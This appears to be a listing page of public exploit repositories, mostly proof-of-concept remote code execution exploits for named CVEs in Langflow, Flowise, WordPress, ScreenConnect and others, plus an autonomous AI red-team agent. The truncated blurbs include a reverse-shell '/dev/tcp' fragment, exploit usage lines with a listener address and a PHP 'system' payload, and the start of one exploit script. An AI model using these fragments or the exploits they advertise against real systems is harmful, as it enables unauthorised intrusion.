CVE-2026-33017-langflow-rce

CVE-2026-33017 - Langflow Unauthenticated Remote Code Execution RCE Overview CVE ID: CVE-2026-33017 Affected Software: Langflow Vulnerable Versions: = 1.9.0 Severity: Critical Author: arensballiu Date: 2026 Description Langflow exposes a public flow build endpoint /api/v1/buildpublictmp/flowID/fl...

hpim-training-lab

hpim-training-lab HPIM Training-Case Replication Lab Citable release Zenodo: DOI 10.5281/zenodo.22868247 — license CC-BY 4.0. This repository contains a fully containerized replication of the training scenario described in OpenAI's official technical report on the Hugging Face incident, used to...

Flowise-RCE-CVE-2025-59528

CVE-2025-59528 - Flowise AI Authenticated Remote Code Execution RCE Overview CVE ID: CVE-2025-59528 Affected Software: Flowise AI Vulnerable Versions: = 3.0.4 Fixed Version: 3.0.5 and later Severity: Critical Author: arensballiu Date: 2025 Description Flowise AI versions up to and including 3.0.4...

CVE-2020-14343-PyYAML

CVE-2020-14343 POC de vulnerabilidad de deserialización de PyYAML Resumen de la vulnerabilidad Campo| Información ---|--- ID de CVE| CVE-2020-14343 Componente afectado| PyYAML Ejemplo: python poc.py http://vulnerable-site.com 192.168.1.100 4444 Flujo del ataque 1. El script inicia un listener TCP...

CVE-2023-20198

CVE-2023-20198 PoC de exploit para CVE-2023-20198 Descripción CVE-2023-20198 se caracteriza por una validación de ruta incorrecta para eludir el filtrado de Nginx y alcanzar el endpoint web webuiwsmahttp sin requerir autenticación. Al eludir la autenticación en el endpoint, un atacante puede...

CVE-2018-14324-Exploit

Hackeando Eclipse GlassFish - CVE-2018-14324 La descripción de CVE-2018-14324 no explica completamente el impacto de esta vulnerabilidad. En resumen, tienes acceso a Java Management Extensions JMX mediante credenciales hardcodeadas admin:admin. Si bien el impacto se enumera como " información...

CVE-2026-33439-Poc

CVE-2026-33439 RCE pre-autenticación en OpenIdentityPlatform OpenAM mediante deserialización insegura de Java del parámetro jato.clientSession. Afecta a & /dev/tcp/HOST/PORT 0&1' La salida es ciega. La petición se bloquea hasta que el comando finaliza, por lo que el tiempo confirma la ejecución...

CVE-2024-40110

Poultry Farm Management System v1.0 - RCE Exploit Vulnerability Type Unauthenticated File Upload with Remote Code Execution Description The Poultry Farm Management System v1.0 contains a critical vulnerability in the product upload functionality. The application fails to properly validate and...

CVE-2021-3560

Vulnerabilidad en Polkit - CVE-2021-3560 📕 Introducción En 2021, un investigador llamado Kevin BackHouse descubrió una vulnerabilidad de escalada de privilegios en la utilidad polkit. Sin embargo, no todas las versiones de Linux son vulnerables a polkit. A continuación se muestra un ejemplo de un...

CVE-2026-90817

CVE-2026-90817 — REDCap Survey Passthru + Data Import RCE Comprobador en Python 3 y hook de exploit configurable para CVE-2026-90817 Securifera / Ryan Wincey. | ---|--- Producto| REDCap Vanderbilt Afectados| ≥ 13.3.0 hasta el parche de la rama Corregido| 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard+...

CVE-2026-87902

CVE-2026-87902 — PoC: path traversal no autenticado en la resolución de page-template de WordPress Archivo del exploit: exploitlocatetemplaterce.py — Python 3.6+ stdlib only. Pipeline en un solo comando: detección segura diferencial de LFI, sin escritura →, si es vulnerable, RCE vía gadget...

CVE-2026-87902-PoC-pwnVader

CVE-2026-87902 — Inclusión local de archivos no autenticada en la resolución de plantillas de página del núcleo de WordPress → RCE Autor: pwnVader · Licencia: MIT raíz del repositorio | ---|--- Componente| Núcleo de WordPress wp-includes/template.php Tipo| CWE-98 — Inclusión de archivos PHP LFI →...

cve-2024-1708-connectwise_rce_reproduction

CVE-2024-1708 / CVE-2024-1709 — Bypass de autenticación y ejecución remota de código en ConnectWise ScreenConnect Puntuación CVSS: 8.4 CVE-2024-1708 – 10.0 CVE-2024-1709 CWE: CWE-22 Salto de ruta, CWE-288 Bypass de autenticación mediante una ruta alternativa Software afectado: ConnectWise...

w3-total-cache-cve-2013-2010

w3-total-cache-cve-2013-2010 Ejecución remota de código en w3 total cache cve 2013-2010 Uso: python3 w3tcrceexploit.py -u http://example.com -p "system'whoami';" Salida: Targeting: http://example.com + Payload sent successfully. + Check the target for execution of the payload. import requests...

Decepticon v1.2.2

Decepticon — Autonomous Red Team Agent "Another AI hacker? Let us guess — it runs nmap and writes a report." Commercial product demo ☁️ Don't want to self-host? Decepticon is live in the cloud. Skip the Docker setup — run autonomous red-team engagements right from your browser. Open-source CLI dem...

CVE-2021-24092

cve-id Donar Ayuda a mantener este proyecto Si este proyecto te resulta útil, considera apoyar su mantenimiento continuo mediante PayPal o ABA Mobile. ❤️ El 10 % de tu donación se destinará al Hospital Infantil Kantha Bopha. ❤️ El diez por ciento de cada donación se destina al Hospital Infantil...

static-code-analysis-helper

Static-Code-Analysis-Helper Descripción Detecta funciones que probablemente causen metodologías de ataque en muchos lenguajes de programación web y frameworks de tu carpeta de proyecto. Te ayuda a realizar análisis de código estático. Nota : Muchas de las funciones descritas aquí pueden no causar...

CVE-2021-3281

CVE-2021-3281 Existe una vulnerabilidad de Directory Traversal en django.utils.archive.py, línea:171, en la clase TarArchive. La llamada a la función os.path.jointopath, name no verificaba el parámetro "name"; si alguien usa esta utilidad en la plataforma Windows, habrá un riesgo de Directory...

Exploit for Argument Injection in Thecodingmachine Gotenberg

🔥 GOTENBERG RCE CHAIN CVE-2026-42589 + CVE-2026-40281 !...

React2Shell

@React2Hell — CVE-2025-55182 Exploit 🔥 Exploit de Ejecución Remota de Código RCE en Next.js / React Server █████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄ ██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██ ██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ MAGENTA...